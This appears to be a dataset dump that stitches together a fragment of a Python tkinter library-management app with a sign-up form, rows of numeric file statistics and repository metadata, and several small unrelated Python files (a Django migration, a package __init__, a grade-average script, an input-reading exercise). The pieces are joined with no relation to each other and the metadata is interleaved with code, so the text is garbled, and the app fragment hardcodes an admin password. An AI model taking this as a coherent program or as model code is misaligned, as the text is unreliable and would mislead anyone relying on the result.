titlelabel.place(x=230,y=100) self.titleField= tk.Entry(self,text="Title") self.titleField.place(x=360, y=107) button1 = tk.Button(self, text="Add", command=self.on_button,font=helv36) button1.config(height=1, width=10) button1.place(x=420,y=180) def on_button(self): title=self.titleField.get() admin=Admin("Admin","11111") book=Book(title,0) admin.AddBook(book) class PageAddUser(tk.Frame): nameField = tk.Entry() PassField = tk.Entry() unameField = tk.Entry() ageField = tk.Entry() salaryField = tk.Entry() v = tk.StringVar() v2 = tk.StringVar() def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller helv36 = tkfont.Font(self,family='Helvetica', size=17, weight='bold') label = tk.Label(self, text="Sign Up", font=controller.title_font) label.pack(side="top", fill="x", pady=10) button = tk.Button(self, text="Back", command=lambda: controller.show_frame("PageAdmin"),font=helv36) button.place(x=10,y=10) button.config(height=1, width=7) unameLabel=tk.Label(self,text="Username:",font=helv36) unameLabel.place(x=300,y=100) self.unameField= tk.Entry(self,text="Username") self.unameField.place(x=430, y=107) namePass=tk.Label(self,text="Password: ",font=helv36) namePass.place(x=300, y=150) self.PassField= tk.Entry(self,text="Password") self.PassField.place(x=430, y=157) nameLabel=tk.Label(self,text="Name: ",font=helv36) nameLabel.place(x=300, y=200) self.nameField= tk.Entry(self,text="Name") self.nameField.place(x=430, y=207) ageLabel=tk.Label(self,text="Age: ",font=helv36) ageLabel.place(x=300, y=250) self.ageField= tk.Entry(self,text="Age") self.ageField.place(x=430, y=257) salaryLabel=tk.Label(self,text="Salary: ",font=helv36) salaryLabel.place(x=300, y=300) self.salaryField= tk.Entry(self,text="Salary") self.salaryField.place(x=430, y=307) self.v = tk.StringVar() GenderLabel=tk.Label(self,text="Gender: ",font=helv36) GenderLabel.place(x=300, y=350) rdMale=tk.Radiobutton(self, text="Male", padx=20, variable=self.v, value='M') rdMale.place(x=400,y=354) rdFemale=tk.Radiobutton(self, text="Female", padx=20, variable=self.v, value='F') rdFemale.place(x=480,y=354) CreditLabel=tk.Label(self,text="Do you have a credit card? ",font=helv36) CreditLabel.place(x=300, y=400) self.v2 = tk.StringVar() rdYes=tk.Radiobutton(self, text="Yes", padx=20, variable=self.v2, value='Y') rdYes.place(x=350,y=450) rdNo=tk.Radiobutton(self, text="No", padx=20, variable=self.v2, value='N') rdNo.place(x=430,y=450) submit = tk.Button(self, text="Add", command=self.on_button,font=helv36) submit.place(x=380,y=500) submit.config(height=1, width=7) def on_button(self): usernamee =self.unameField.get() password=self.PassField.get() name=self.nameField.get() age=self.ageField.get() salary=self.salaryField.get() gender=self.v.get() credit=self.v2.get() person = Person(usernamee, password, name, age, salary, gender, credit) person.Register(person) print(gender) if __name__ == "__main__": app = SampleApp() app.geometry("1000x600") app.configure(background='red') app.mainloop()
34.099698
109
0.546558
2,662
22,574
4.581893
0.112322
0.053784
0.02886
0.039354
0.767566
0.718455
0.680085
0.650734
0.632615
0.61015
0
0.049071
0.318419
22,574
662
110
34.099698
0.743663
0.057323
0
0.615711
0
0
0.055493
0
0.012739
0
0
0
0
0
null
null
0.053079
0.016985
null
null
0.006369
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
4
fdb30ea1412203433ff050fb902cb6d68bee89dd
52
py
Python
Chapter 01/ch1_25.py
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
f6a4194684515495d00aa38347a725dd08f39a0c
[ "MIT" ]
null
null
null
Chapter 01/ch1_25.py
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
f6a4194684515495d00aa38347a725dd08f39a0c
[ "MIT" ]
null
null
null
Chapter 01/ch1_25.py
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
f6a4194684515495d00aa38347a725dd08f39a0c
[ "MIT" ]
null
null
null
print("The {0} of 10 is {1:o}".format("octal", 10))
52
52
0.576923
11
52
2.727273
0.909091
0
0
0
0
0
0
0
0
0
0
0.133333
0.134615
52
1
52
52
0.533333
0
0
0
0
0
0.509434
0
0
0
0
0
0
0
null
null
0
0
null
null
1
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
4
fdb64d654363d5b804f5a68aa1c9418851fd81c7
153
py
Python
extra_apps/__init__.py
lumeijin/FITA
84b34f58bc1d3351c2caa3f02619fa09212f14a0
[ "Apache-2.0" ]
null
null
null
extra_apps/__init__.py
lumeijin/FITA
84b34f58bc1d3351c2caa3f02619fa09212f14a0
[ "Apache-2.0" ]
null
null
null
extra_apps/__init__.py
lumeijin/FITA
84b34f58bc1d3351c2caa3f02619fa09212f14a0
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # @Time : 2018/6/30 1:03 # @Author : TrumanGu # @Email : 1227085585@qq.com # @File : __init__.py.py # @Software: PyCharm
25.5
30
0.581699
21
153
4.047619
0.952381
0
0
0
0
0
0
0
0
0
0
0.175
0.215686
153
6
31
25.5
0.533333
0.921569
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
fdb6e477081ca9736e79449bc49561e2257f606a
254
py
Python
marathon/__init__.py
missingcharacter/marathon-python
e1a42642c42716ef074e5b2523408bc1aa6025e2
[ "MIT" ]
202
2015-01-07T06:55:14.000Z
2021-11-30T12:05:50.000Z
marathon/__init__.py
missingcharacter/marathon-python
e1a42642c42716ef074e5b2523408bc1aa6025e2
[ "MIT" ]
213
2015-03-04T12:54:09.000Z
2022-02-28T11:36:28.000Z
marathon/__init__.py
missingcharacter/marathon-python
e1a42642c42716ef074e5b2523408bc1aa6025e2
[ "MIT" ]
169
2015-02-06T16:48:05.000Z
2022-01-18T16:20:56.000Z
from .client import MarathonClient from .models import MarathonResource, MarathonApp, MarathonTask, MarathonConstraint from .exceptions import MarathonError, MarathonHttpError, NotFoundError, InvalidChoiceError from .util import get_log log = get_log()
36.285714
91
0.846457
26
254
8.192308
0.653846
0.056338
0
0
0
0
0
0
0
0
0
0
0.102362
254
6
92
42.333333
0.934211
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.8
0
0.8
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
fdedc66896033eae36c1cc04fdba7e0b4a4484f6
1,568
py
Python
photo/migrations/0001_initial.py
elif-furkan-celik/A_Django_Project
1bdbc3d0d773b2f8e3a502fa9993683eea106900
[ "MIT" ]
null
null
null
photo/migrations/0001_initial.py
elif-furkan-celik/A_Django_Project
1bdbc3d0d773b2f8e3a502fa9993683eea106900
[ "MIT" ]
null
null
null
photo/migrations/0001_initial.py
elif-furkan-celik/A_Django_Project
1bdbc3d0d773b2f8e3a502fa9993683eea106900
[ "MIT" ]
null
null
null
# Generated by Django 3.0.3 on 2020-03-25 12:53 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Photos', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('img', models.ImageField(blank=True, null=True, upload_to='media')), ('using_count', models.IntegerField(default=0)), ('gender', models.CharField(max_length=20)), ('answer10', models.IntegerField(default=0)), ('answer20', models.IntegerField(default=0)), ('answer30', models.IntegerField(default=0)), ('answer11', models.IntegerField(default=0)), ('answer21', models.IntegerField(default=0)), ('answer31', models.IntegerField(default=0)), ('answer12', models.IntegerField(default=0)), ('answer22', models.IntegerField(default=0)), ('answer32', models.IntegerField(default=0)), ('answer13', models.IntegerField(default=0)), ('answer23', models.IntegerField(default=0)), ('answer33', models.IntegerField(default=0)), ('answer14', models.IntegerField(default=0)), ('answer24', models.IntegerField(default=0)), ('answer34', models.IntegerField(default=0)), ], ), ]
40.205128
114
0.559311
142
1,568
6.133803
0.464789
0.330654
0.459242
0.477612
0
0
0
0
0
0
0
0.056655
0.290816
1,568
38
115
41.263158
0.726619
0.028699
0
0
1
0
0.101907
0
0
0
0
0
0
1
0
false
0
0.032258
0
0.16129
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
fdfb5c4a1d32e074d31e801d5692cbc00ee44b1a
125
py
Python
com/LimePencil/Q5554/Main.py
LimePencil/baekjoonProblems
61eeeeb875585d165d9e39ecdb3d905b4ba6aa87
[ "MIT" ]
2
2021-07-17T13:05:42.000Z
2021-09-12T09:14:24.000Z
com/LimePencil/Q5554/Main.py
LimePencil/baekjoonProblems
61eeeeb875585d165d9e39ecdb3d905b4ba6aa87
[ "MIT" ]
null
null
null
com/LimePencil/Q5554/Main.py
LimePencil/baekjoonProblems
61eeeeb875585d165d9e39ecdb3d905b4ba6aa87
[ "MIT" ]
null
null
null
import sys total = 0 for _ in range(4): total += int(sys.stdin.readline().rstrip("\n")) print(total//60) print(total%60)
17.857143
51
0.656
21
125
3.857143
0.714286
0.246914
0.296296
0
0
0
0
0
0
0
0
0.056075
0.144
125
7
52
17.857143
0.700935
0
0
0
0
0
0.015873
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0.333333
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
fdff88bc5a0d1fec0dbff4c85136b6477df64dd1
537
py
Python
example/scripts/003_utils.py
kaalam/kpipe
3f0c6155b20fdd17c4a12326caaa076778730dd4
[ "MIT" ]
null
null
null
example/scripts/003_utils.py
kaalam/kpipe
3f0c6155b20fdd17c4a12326caaa076778730dd4
[ "MIT" ]
null
null
null
example/scripts/003_utils.py
kaalam/kpipe
3f0c6155b20fdd17c4a12326caaa076778730dd4
[ "MIT" ]
null
null
null
class Utils(): """ This is just methods stored as methods of a class. It still needs (allthough void) .inputs(), .output() and .build() and defines whatever else is handy. (It is nice, as in this case, to separate constants from methods.) """ def __init__(self): self.species = {'canines' : ['Doggy', 'Hyena'], 'felines' : ['Cheetah', 'Panther'], 'bugs' : ['Nullpointer']} def inputs(self): return None def output(self): return None def build(self): pass def list_animals(self, kind): return self.species[kind]
25.571429
111
0.668529
75
537
4.72
0.64
0.062147
0.079096
0.096045
0
0
0
0
0
0
0
0
0.182495
537
20
112
26.85
0.806378
0.407821
0
0.181818
0
0
0.17377
0
0
0
0
0
0
1
0.454545
false
0.090909
0
0.272727
0.818182
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
4
a906ffd474d68b615040c6606f0647a3796e9466
127
py
Python
Python/desafio_07.py
itsmeLuizMoura/Estudo
c2798ba93c36a274d0fe9a83d781b7e585b8dfbe
[ "MIT" ]
null
null
null
Python/desafio_07.py
itsmeLuizMoura/Estudo
c2798ba93c36a274d0fe9a83d781b7e585b8dfbe
[ "MIT" ]
null
null
null
Python/desafio_07.py
itsmeLuizMoura/Estudo
c2798ba93c36a274d0fe9a83d781b7e585b8dfbe
[ "MIT" ]
null
null
null
nota1 = int(input('Nota 1: ')) nota2 = int(input('Nota 2: ')) media = (nota1 + nota2) / 2 print('Média: {:.2f}'.format(media))
25.4
36
0.590551
19
127
3.947368
0.631579
0.213333
0.32
0
0
0
0
0
0
0
0
0.074074
0.149606
127
4
37
31.75
0.62037
0
0
0
0
0
0.228346
0
0
0
0
0
0
1
0
false
0
0
0
0
0.25
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4